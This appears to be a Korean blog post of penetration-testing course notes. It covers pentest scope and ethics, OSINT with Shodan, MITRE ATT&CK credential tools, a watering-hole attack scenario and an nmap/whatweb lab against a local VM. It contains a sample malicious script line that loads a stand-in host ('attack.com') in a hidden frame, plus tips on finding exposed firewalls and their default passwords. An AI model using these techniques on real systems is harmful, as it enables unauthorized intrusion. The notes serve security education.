[모의해킹]
모의해킹= 침투테스트
고객사 (자산 소유자) 와 협의하에 고객사의 실 운영 서버(서비스)를 해킹하는 직업군
해커와 유사한 조건이지만 hacking skill을 가지고 실시
침투및 대응방안 제시
[모의해킹과 범죄자 비교 ]
고객과의 협의 여부에 따라 범위와 목적이 다름
구분 | 모의해킹 수행원 | 범죄자 |
legal | 고객사와 계약을 통해 합법적인 활동 | 불법 |
공격 포인터 | 고객사의 담당자가 지정한 시스템(시스템,서비스단위 등) | 무분별 |
공격 항목 | 장애를 유발해 가용성을 침해하지 않는 범위 내에 | 무분별 |
공격 시간 | 고객사의 협의한 시간 안에 활동 | 무분별 |
보안서약서 서명후 업무
단순히 취약점 뿐 아니라 업무중 알게된 내용들 또한 유출 금지
공격 항목에서 수행범위를 반드시 파악할 필요가 있다 EX) 같은 URL이어도 내부인지 외부 사이트인지
장애 유발을 최대한 낮추기 위해서는 가능한 스캐너(익스플로잇까지 함께하는 스캐너) 사용 X
[모의 해킹 범위 - 시스템 접근 기준]
외부 비인가 (로그인 안한 사람들 )
외부 인가자 ( 로그인 한 사람들)
내부 비인가( 침입한사람, 모의해킹 하는 사람들)
내부 인가자 (직원)
공격 시도는 외부가 많지만 성공율은 내부 공격이 훨씬 높다
[체크리스트 취약점 진단 VS 모의해킹 ]
정보보호 컨설팅 직무에는 크게 보면 관리 컨설턴트 와 기술 컨설턴트 가 있다
관리 컨설턴트
-법적 요구사항 분석
-법적 요구사항을 준수할 수있는 내부 정책, 지침 , 프로세스 개선
보통 법적 요구사항 준수때매 모의해킹을 요구함
기술 컨설턴트
- 취약점 진단 (인프라 진단)
- 체크리스트: 진단 대상이 되는 시스템 별 이미 알려진 취약점
체크리스트는 웹만 있지않다 보통 회사에서 환경에 맞춰서 만들기도 함
* 취약성 VS 취약점
취약성: 아직 위협의 정의되지 않았지만 약점으로 이용될 가능성 농후
취약점: 이미 위협의 정의가 되어 있어서 위험으로 발전할 수 있는 가능성
-시스템 별 체크리스트를 가지고 취약점이 있는지 식별만 하는 행위
EX) 안티바이러스 설치 여부 점검 항목 존재
- 모의해킹
- 취약점으 식별하고 해당 취약점으로 기밀성,무결성, 가용성에 어떠한 영향을 미치는지 직접 확인해보는 단계
[시나리오 기반 모의해킹]
-취약점 진단 이후 추가 수행하는 경우
-내부/외부 정보 파악 용이
-시나리오 구성 후 침투
-정해진 시간에 모의해킹을 수행
시나리오 예
1. 최근 보안 동향 및 사고 사례를 기반으로 시나리오를 만들 수 있음
ex) 원격근무 잦아지면서 VPN을 통한 안전한 접속을 지향하는데 VPN 관련해서 침해 사고 발생!
고객사 VPN 취약점을 이용하여 내부망에 불법적인 접근이 가능한지?
접속 이후 고객사 핵심 비즈니스의 중요정보 또는 중요 시스템 접근까지
EX) 신규 웹 서비스를 시작하려고 할때 해당 웹 서비스를 통해 내부망 침투가 가능한지의 시나리로 실습
EX) 이메일 악성 파일 또는 악성링크를 통해 내부망 침투가 가능한지 공격 시도
EX) 이동식 저장 장치를 이용한 내부망 침투가 가능한지
EX) 무선랜 취약점을 이용하여 내부망 침투가 가능한지
시나리오 기반 모의해킹
-- 고객사와 협의
전박적인 협의는 정보시스템 진단과 유사
진행 과정에 수집한 정보에 따라 시나리오가 변형될 수 있음
수행 과정에 정보시스템 관제, 침해 대응 팀에서 인지
고객사와 협의하여 예외처리 후 진행 가능 (ex )시스템에 안정성, 문제등을 확인하는 거지 웹 방화벽 시스템을 보는게 아님)
고객사와 협의 하에 정보보안 솔수션 등 방어 요소 예외처리 후 진해 가능
[블랙박스 모의해킹]
진행 방식
-사전에 어떤정보도 제공 받지 않음
-어떠한 예외 처리도 진행하지 안흠
-정해진 시간이 없음
-침투 성공후 시나리오 표현
고객사와 협의
-극 소수만이 모의해킹을 진행하는 사실을 인지
-수행과정에 정보시스템관제,침해 대응 팀에서 인지할 경우
다른 우회 경로를 새롭게 진행
[Red Team ,Blue Team , Purple Team]
Red team
외부침투자 역할
블랙박스 모의해킹과 유사하게 진행
Blue Team
보안 관제, 침해사공 대응 팀 등 방어를 수행
언제 침투할지 모르는 Red team의 공격을 방어
Purple Team
Red와 Blue팀을 통제
고객사 보안 담당자와 외부 컨설팅 pm이 다
서로가 발전할 수 있게 환경 구성
[모의해킹 업무 절차 ]
절차 | 설명 |
사전 협의 | 고객사 정보보안 담당자와 침투 지냉 범위 결정 |
정보 수집 | 고객사 뿐만 아니라 침투 대상과 관련된 정보를 최대한 수집 |
위협 모델링 | 자산, 비즈니스 프롯스 등 다양한 형태의 정보를 기반으로 위협적인 행위를 표현 하는 모델링 작성 |
취약성 분석 | 시스템이나 응용프로그램에서 침투할 수 있는 요소를 찾아내기 위해 분석하는 행위 |
침투 | 취약성 분석을 통해 찾은 경로로 실제 침투를 진행 |
후속 침투 | 침투 후 손상된 시스템을 제어하여 또 다른 침투 경로를 찾기 위한 방법 |
보고서 작성 | 고객사에게 보고 할 최종 보고서 제작 후 리뷰 |
[정보수집 ]
-Active Scan
*능동적이다
*직접 대상 시스템에 request를 보내서 정보를 수집 하는 형태
*대상 시스템에 로그를 남기도록 설정되어 있다면 request 요청자 IP나 패킷들이 저장될수 있다
-Passive Scan
*직접 대상 시스템에 request를 보내는 형태가 아닌 이미 수집되어 있는 다른 사이트 등을 이용해 간접적으로 정보수집
* request 관련 로그가 대상 시스템ㅇ 남지 않는다는 이점
*공개된 정보 수집 기법
* ex ) Shodan , GHDB, Censys ...
쇼단은 알려지지 않는 프로토콜들도 많이 수집
블랙 프라이데이때 쇼단 유료 계정이 1달라에 판매 된 적이 있음
쇼단
url 입력 (머니111투1데이 )
url ip 가 나오면 예를들어서 192.168.1.25 라면
net:192.168.1.0/24 으로 다시 검색
응답코드가 200 이 있다면 접속이 가능하다. 443 port이 있다면 ssl로 추측 가능
접속해서 url을 보니 firewall 인것을 보아하니 웹 방화벽 인것을 보아하니 접근 제어가 안되어 있는 취약한 사이트
해당 방화벽 회사 default 아이디 비번을 구글링을 통해 검색
쇼단 무료버전은 알려주는 정보가 제한되어 있기 때문에 여러 회사를 이용해서 정보 수집을 한다.
[시나리오 작성 ]
krcert 사이트 접속후 자료실 -> 보고서 (https://www.krcert.or.kr/data/reportList.do)에서 각종 보고서들을 참고한다
그 중에서 스피어라고 검색을 하면
해당 글이 나오는데
시나리오 분석 문서이므로 참고에 큰 도움이 된다
ttps : 공격 전략 행위 (tactics, techniques, procedures )
보안전문가들이 위협 행위자들의 공격을 행동,프로세스,전략 등을 분석 및 설명하는데 사용하며 대응책 개발에 활용한다.
[mitre attack ]
mitre att&ck 프레임 워크를 통해 문서화된 ttps
미국 국토안전국에서 지원 받는 비영리 연구 개발 단체
본래는 국가 안보관련 업무를 수행해으나 사이버 공격의 중요성이 커지면서 자연스럽게 해당 부분에 대한 연구가 시작되며 발간된 것이 ATT&CK Framework
ATT&CK Framework는 최신 공격방법과 대응방식, 관련 솔루션을 총망라한 사이버 공격 킬체인 보고서
preivilege Escalation
권한 상승
Credential Access
Mimikatz는 Windows System에서 Credential(자격증명) 정보를 수집하는 Tool (메모리 자체를 덤프)
Mimipenguin은 현재 Linux 데스크톱 사용자의 로그인 자격 증명 (사용자 이름 및 암호)을 덤프하는 데 사용되는 무료 오픈 소스이며 간단하지만 강력한 Shell/Python 스크립트
vnc injection 감염된 피해자 모니터 화면을 띄운다 이를 이용해서 마스킹 되지 않는 비밀번호, 컴퓨터 사용유무 등을 알수 있다.
===========================================
[타겟형 워터링 홀 공격 시나리오]
타겟형 워터링홀 공격 VS 드라이브-바이 다운로드 공격
공통점: 웹 사이트를 이용한 악성코드 유포
차이점: 드라이브-바이 다운로드는 아무나 걸려라 (불 특정 다수 ) 타겟형 워터링홀은 지정된 타겟만 공격을 목적
워터링 홀 = APT (지능, 지속적 위협 )
1.공격 대상 정보 수집 (ip 이용)
2.C2C 서버 및 악성코드 제작
3. 악성 스크립트를 웹 서버에 삽입
악성 스크립트 예
document.write("http://www.attack.com width='0' height='0' ")
4. 타겟이 변조된 웹사이트에 접속
5. 타겟이 악성코드 다운로드 및 실행
6. 레지스트리 및 스케줄러에 악성코드 등록 ( persistance(지속성)을 위해 등록)
7. 탐지 우회를 위해 정상적인 파일명, 경로를 사용
8. 수집된 데이터를 인코딩하여 C2C 서버로 전달
mshta.exe :특정 설치프로그램에 종속되어 시스템에 설치되거나 특정웹사이트의 자료실의 파일을 실행하는 경우 생성.
===============================================================
[모의해킹 대상의 정보 수집 ] 실습
vmware 실행
edit->virtual network editor
vmnet08 선택하고 NAT로 선택 subnet ip 192.168.0.0 로 변경
제공된 리눅스와 kali vm에서 실행
kali
ip:192.168.0.130
리눅스
ip:192.168.0.140
kali 에서
1) ping 192.168.0.140
140 ping 확인
2) nmap -O -sS -sV 192.168.0.140
140 의 port 및 os 확인
3)whatweb 192.168.0.140 -v
80port 즉 웹 포트가 있는 것을 확인을 했으니 whatweb으로 웹 서비스에 대한 정찰
결과물
운영체제는 ubuntu linux
web server : apache 2.4.7
개발 언어: php (서버단) , HTML5,Javascript,jquery(클라이언트 단)
CMS: WordPress[4.9.20]
whatweb은 엑티브 스캔
크롬에 설치한 wappalyzer 플러그인은 passive scan
wappalyzer
'보안 > k shield' 카테고리의 다른 글
kshield 220811 (0) | 2022.08.11 |
---|---|
k shield 220808 (0) | 2022.08.08 |
220801 k shield 수업 (0) | 2022.08.01 |
220721 수업 (0) | 2022.07.21 |
웹 쉘 파일업로드 취약점 (0) | 2022.07.14 |